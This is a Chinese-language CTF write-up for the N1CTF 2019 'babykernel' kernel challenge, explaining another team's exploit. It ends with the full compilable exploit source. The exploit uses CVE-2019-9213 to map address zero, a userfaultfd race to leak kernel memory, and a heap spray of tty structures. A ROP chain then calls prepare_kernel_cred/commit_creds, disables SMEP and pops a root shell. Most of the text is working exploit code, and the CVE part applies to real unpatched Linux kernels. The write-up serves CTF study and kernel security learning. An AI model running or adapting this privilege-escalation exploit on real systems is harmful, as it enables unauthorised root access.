该题用到了 CVE-2019-9213 漏洞,下面的内容是基于对Balsn
战队的exp分析而得来的。
相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/n1ctf_2019/pwn/babykernel
Balsn
战队的exp只有代码,注释也比较少,这里我研究了一下该exp样本,并对其的行为做出一些解释。
BabyKernel
IDA对该程序的反汇编并不算很准确,特别是对于一些__usercall
函数和__fastcall
函数混淆了,使得反汇编出来的代码并不算好看,需要自己手动进行调整。
参数的传递协议并不难分析,这里我直接贴出其代码:
typedef struct Args
{
unsigned long long addr_amount;
struct
{
void *addr;
unsigned long long size;
} addr_array[0x10];
unsigned long long index;
} Args;
内核中:
00000000 Container struc ; (sizeof=0x20, mappedto_3)
00000000 kmalloc_ptr dq ?
00000008 size dq ?
00000010 is_used dq ?
00000018 kmem_cache_alloc_ptr dq ?
00000020 Container ends
CVE-2019-9213
linux内核用户空间0虚拟地址映射漏洞,通过这个漏洞可以使得地址0的内存可写可读。能避免因访问非法内存而引起的一些异常。
int main()
{
void *map;
int fd;
char cmd[0x400];
unsigned long long addr;
map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (map == MAP_FAILED)
{
errExit("mmap");
}
if ((fd = open("/proc/self/mem", O_RDWR)) == -1)
{
errExit("open");
}
addr = (unsigned long long)map;
while (addr != 0)
{
addr -= 0x1000;
lseek(fd, addr, SEEK_SET);
sprintf(cmd, "LD_DEBUG=help su >&%d", fd);
system(cmd);
}
close(fd);
printf("data at NULL: 0x%llx\n", *(unsigned long long *)0);
}
逻辑漏洞
to_user
函数这里有个不太明显的漏洞,在了解其之前我先简述一下其代码行为,由于没有开启smap
,所以前面是直接对于参数的地址列表
的每项地址的第一个字节都赋值为0,如果地址不可访问的则会直接crash,也就没有后文了。
然后再对参数的地址列表
进行内存复制,程序会对操作的字节数进行汇总和溢出判读,预期情况下是不可能超出kmalloc
所分配的大小。
void __fastcall to_user(Args *arg)
{
...
LABEL_22:
while ( 1 )
{
ptr_size_1 = ptr_size;
offset_addr = offset + v26->kmalloc_ptr;
if ( !ptr_size )
break;
size = v30;
temp_arg = (Addr *)&v29;
while ( 1 )
{
while ( !size )
{
++temp_arg;
size = temp_arg->size;
}
if ( ptr_size_1 <= size )
size = ptr_size_1;
size_1 = size;
if ( copy_to_user(temp_arg->addr, offset_addr, size) )
break;
v24 = temp_arg->size;
offset += size_1;
offset_addr += size_1;
temp_arg->addr += size_1;
size = v24 - size_1;
ptr_size_1 -= size_1;
temp_arg->size = size;
if ( !ptr_size_1 )
goto LABEL_30; // out
}
}
LABEL_30:
ptr_size -= offset;
}
while ( (signed __int64)ptr_size > 0 );
}
}
}
}
该漏洞的主要原因是程序员过于信赖copy_to_user
函数一定会成功,所以并没有对copy_to_user
函数做过多防护(没有经验的程序员常犯的一个错误),当参数的地址列表
存在非法地址时,就会跳出内部循环,从而在外部循环那里ptr_size_1 = ptr_size;
,使得可以读的内容大于kmalloc
分配的内容,只要攻击者巧妙利用一下,就能泄露出kernel信息进行利用。
0地址读写漏洞
void __fastcall from_user2(__int64 arg)
{
...
while ( !copy_from_user(v14 + v15, v11->addr, v11->size) )
{
v15 += v11->size;
++v16;
++v11;
if ( v18 <= v16 )
return;
}
v17 = *(_QWORD *)ptr[v21].kmem_cache_alloc_ptr;
_x86_indirect_thunk_rax(v14);
ptr[v21].kmem_cache_alloc_ptr = 0LL;
}
...
}
在from_user2
函数中,当copy_from_user
失败时,会调用ptr[v21].kmem_cache_alloc_ptr
的函数指针指向的函数,但是其并没有对地址进行NULL判读
,而且程序仅仅对kmem_cache_alloc_ptr
置空,但是没有对is_used
置空,所以这里可以直接用CVE-2019-9213
进行程序流劫持。
思路
- 利用
CVE-2019-9213
使得0地址可读写。
void get_NULL()
{
void *map;
int fd;
char cmd[0x400];
unsigned long long addr;
map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (map == MAP_FAILED)
{
errExit("mmap");
}
if ((fd = open("/proc/self/mem", O_RDWR)) == -1)
{
errExit("open");
}
addr = (unsigned long long)map;
while (addr != 0)
{
addr -= 0x1000;
lseek(fd, addr, SEEK_SET);
#ifdef WITH_GLIBC
sprintf(cmd, "LD_DEBUG=help su >&%d", fd);
#else
sprintf(cmd, "LD_DEBUG=help su --help 2>&%d", fd);
#endif
system(cmd);
}
close(fd);
printf("data at NULL: 0x%llx\n", *(unsigned long long *)0);
}
这里特别说明一下,由于靶机没有glibc环境,所以只能用
LD_DEBUG=help su --help 2>
这样的方式写入。
- 设置缺页中断句柄处理函数,在
to_user
函数中进行利用,以下面的代码为例。
arg.addr_amount = 4;
arg.addr_array[0].addr = addr2;
arg.addr_array[0].size = 0x300;
arg.addr_array[1].addr = target_addr;
arg.addr_array[1].size = 0x80;
arg.addr_array[2].addr = fault_page;
arg.addr_array[2].size = 0x80;
arg.addr_array[3].addr = addr2;
arg.addr_array[3].size = 0x300;
arg.index = 0;
fault_page
为绑定了缺页中断句柄处理函数的地址,下面的代码是该处理函数,可以看到他对target_addr
取消了映射,这一步至关重要,当to_user
刚开始对地址列表置0时,由于target_addr
在fault_page
之前,所以此时target_addr
还没被取消映射,但是当对fault_page
置0时,则会触发缺页中断,然后调用绑定的处理函数fault_handler_thread
,这样target_addr
便会取消映射,那么在之后对target_addr
执行copy_to_user
函数时,则一定会失败,这就直接导致了该漏洞,使得我们可以读取溢出的数据。
static void *
fault_handler_thread(void *arg)
{
...
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
munmap(TARGET_ADDR, page_size);
...
}
这里提一点,如果target_addr
一直是没有映射内存的,会导致内核一直循环cpy_to_user
函数,所以我们需要写一个线程让它在一段时间后将target_addr
映射回来,这样就可以让程序正常退出了。当然还要构造好size
,使得刷新后的size
任然可以等于kmalloc
分配的size。
void *recover_target_addr(void *p)
{
usleep(10 * 1000);
mmap((void *)TARGET_ADDR, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
}
- 泄露内核地址
由于kmalloc
利用slab
机制分配内存,所以其地址旁可能存在大量的内存碎片,我们可以用open("/dev/ptmx",O_RDWR)
申请大量的内存(应该是kmalloc-1024
数量级的),这样该地址旁边就会有很大概率有我们所申请的struct tty_struct
结构,我们可以以此泄露出内核基地址。
for(i = 0; i < 0x380; i++){ open("/dev/ptmx",O_RDWR); }
这里不能消耗太多资源,否则会导致系统没有资源起新进程。
- 利用0地址读写劫持程序流。
*(unsigned long long* )0 = offset + 0xffffffff81488731;
arg.addr_amount = 1;
arg.addr_array[0].addr = addr2 +0xff8;
arg.addr_array[0].size = 0x10;
arg.index = 1;
ioctl(fd, 333, &arg);
signal(SIGSEGV, get_shell);
ioctl(fd, 333, &arg);
由于addr2地址长度为0x1000
,所以在调用from_user2
函数中其copy_from_user
一定会失败。那么之后便会调用kmem_cache_alloc_ptr
指向的函数。
该步骤主要分为两个ioctl(fd, 333, &arg);
,第一个先置kmem_cache_alloc_ptr
为0,第二个就是写0地址的内容,使得在第二次ioctl(fd, 333, &arg);
的时候劫持程序流。
0xffffffff81488731
的汇编代码如下,由于在call __x86_indirect_thunk_rax
时,rdi寄存器
恰好为ptr[index]->kmalloc_ptr
的值,所以可以利用上面的代码进行栈转移。
0xffffffff81488731 push rdi
0xffffffff81488732 add byte ptr [rbx + 0x41], bl
0xffffffff81488735 pop rsp
0xffffffff81488736 pop r13
0xffffffff81488738 pop rbp
0xffffffff81488739 ret
完整代码
// compiled: musl-gcc -static -s -pthread exp.c
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
// #define GCC
// #define WITH_GLIBC
#define TARGET_ADDR 0xabc0000
#ifdef GCC
#include <linux/userfaultfd.h>
#else
#include "userfaultfd.h"
#endif
typedef struct Args
{
unsigned long long addr_amount;
struct
{
void *addr;
unsigned long long size;
} addr_array[0x10];
unsigned long long index;
} Args;
unsigned long long page_size;
unsigned long long user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
:);
}
#define errExit(msg) \
do \
{ \
perror(msg); \
exit(EXIT_FAILURE); \
} while (0)
// Based on the manual of Linux.
static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
static int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
/* Create a page that will be copied into the faulting region */
if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("mmap");
}
/* Loop, handling incoming events on the userfaultfd
file descriptor */
for (;;) {
/* See what poll() tells us about the userfaultfd */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
munmap(TARGET_ADDR, page_size);
if (nready == -1)
errExit("poll");
// printf("\nfault_handler_thread():\n");
// printf(" poll() returns: nready = %d; "
// "POLLIN = %d; POLLERR = %d\n", nready,
// (pollfd.revents & POLLIN) != 0,
// (pollfd.revents & POLLERR) != 0);
/* Read an event from the userfaultfd */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}
if (nread == -1)
errExit("read");
/* We expect only one kind of event; verify that assumption */
if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
/* Display info about the page-fault event */
// printf(" UFFD_EVENT_PAGEFAULT event: ");
// printf("flags = %llx; ", msg.arg.pagefault.flags);
// printf("address = %llx\n", msg.arg.pagefault.address);
/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */
// memset(page, 'A' + fault_cnt % 20, page_size);
// fault_cnt++;
// uffdio_copy.src = (unsigned long) page;
/* We need to handle page faults in units of pages(!).
So, round faulting address down to page boundary */
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
// printf(" (uffdio_copy.copy returned %lld)\n",
// uffdio_copy.copy);
}
}
char *get_fault_page()
{
long uffd; /* userfaultfd file descriptor */
char *addr; /* Start of region handled by userfaultfd */
unsigned long len; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
page_size = sysconf(_SC_PAGE_SIZE);
len = page_size;
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
/* Create a private anonymous mapping. The memory will be
demand-zero paged--that is, not yet allocated. When we
actually touch the memory, it will be allocated via
the userfaultfd. */
addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
errExit("mmap");
// printf("Address returned by mmap() = %p\n", addr);
/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
/* Create a thread that will process the userfaultfd events */
s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);
if (s != 0)
{
errno = s;
errExit("pthread_create");
}
return addr;
}
// CVE-2019-9213
void get_NULL()
{
void *map;
int fd;
char cmd[0x400];
unsigned long long addr;
map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (map == MAP_FAILED)
{
errExit("mmap");
}
if ((fd = open("/proc/self/mem", O_RDWR)) == -1)
{
errExit("open");
}
addr = (unsigned long long)map;
while (addr != 0)
{
addr -= 0x1000;
lseek(fd, addr, SEEK_SET);
#ifdef WITH_GLIBC
sprintf(cmd, "LD_DEBUG=help su >&%d", fd);
#else
sprintf(cmd, "LD_DEBUG=help su --help 2>&%d", fd);
#endif
system(cmd);
}
close(fd);
printf("data at NULL: 0x%llx\n", *(unsigned long long *)0);
}
void *recover_target_addr(void *p)
{
usleep(10 * 1000);
mmap((void *)TARGET_ADDR, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
}
void get_shell(int sig)
{
printf("get shell, uid: %d\n", getuid());
system("sh");
printf("%m\n");
exit(EXIT_SUCCESS);
}
int main()
{
char *fault_page, *addr2, *target_addr;
Args arg;
int fd, i;
pthread_t tid;
unsigned long long leak_addr, kernel_base_addr, offset, *rop;
get_NULL();
fault_page = get_fault_page();
fd = open("/dev/pwn", O_RDONLY);
addr2 = (void *)mmap((void *)0x1234000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
target_addr = (void *)mmap((void *)TARGET_ADDR, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
// create
arg.addr_amount = 1;
arg.addr_array[0].addr = addr2;
arg.addr_array[0].size = 0x400;
arg.index = 0;
ioctl(fd, 111, &arg);
for(i = 0; i < 0x380; i++){ open("/dev/ptmx",O_RDWR); }
arg.addr_amount = 4;
arg.addr_array[0].addr = addr2;
arg.addr_array[0].size = 0x300;
arg.addr_array[1].addr = target_addr;
arg.addr_array[1].size = 0x80;
arg.addr_array[2].addr = fault_page;
arg.addr_array[2].size = 0x80;
arg.addr_array[3].addr = addr2;
arg.addr_array[3].size = 0x300;
arg.index = 0;
pthread_create(&tid, NULL, recover_target_addr, NULL);
ioctl(fd, 222, &arg);
pthread_join(tid, NULL);
// for(i = 0; i < 0x10; i++)
// {
// printf("%20llx ", *(unsigned long long *)(addr2 + i * 0x10));
// printf("%20llx \n", *(unsigned long long *)(addr2 + i * 0x10 + 8));
// }
leak_addr = *(unsigned long long *)(addr2 + 24);
if(leak_addr > 0xff00000000000000 && (leak_addr & 0xfff) == 0x820)
{
kernel_base_addr = leak_addr - 0x10a3820;
printf("Kernel base addr: 0x%llx\n", kernel_base_addr);
}
else
{
puts("Leak Failed");
arg.addr_amount = 0;
ioctl(fd, 444, &arg);
exit(EXIT_FAILURE);
}
offset = kernel_base_addr - 0xffffffff81000000;
save_status();
rop = (unsigned long long* )(addr2 + 0x10);
i = 0;
rop[i++] = offset + 0xffffffff81086800; // : pop rdi ; ret;
rop[i++] = 0;
rop[i++] = offset + 0xffffffff810b9db0; // prepare_kernel_cred
rop[i++] = offset + 0xffffffff8151224c; //: push rax ; pop rdi ; add byte ptr [rax], al ; pop rbp ; ret
rop[i++] = 0;
rop[i++] = offset + 0xffffffff810b9a00; // commit_creds
rop[i++] = offset + 0xffffffff81086800; //: pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = offset + 0xffffffff81020480; //: mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = offset + 0xffffffff81070894; // swapgs ; pop rbp ; ret
rop[i++] = 0;
rop[i++] = offset+0xffffffff81036bfb; // iretq
rop[i++] = (unsigned long long)get_shell;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;
arg.addr_amount = 1;
arg.addr_array[0].addr = addr2;
arg.addr_array[0].size = 0x400;
ioctl(fd, 111, &arg);
*(unsigned long long* )0 = offset + 0xffffffff81488731;
arg.addr_amount = 1;
arg.addr_array[0].addr = addr2 +0xff8;
arg.addr_array[0].size = 0x10;
arg.index = 1;
ioctl(fd, 333, &arg);
signal(SIGSEGV, get_shell);
ioctl(fd, 333, &arg);
return 0;
}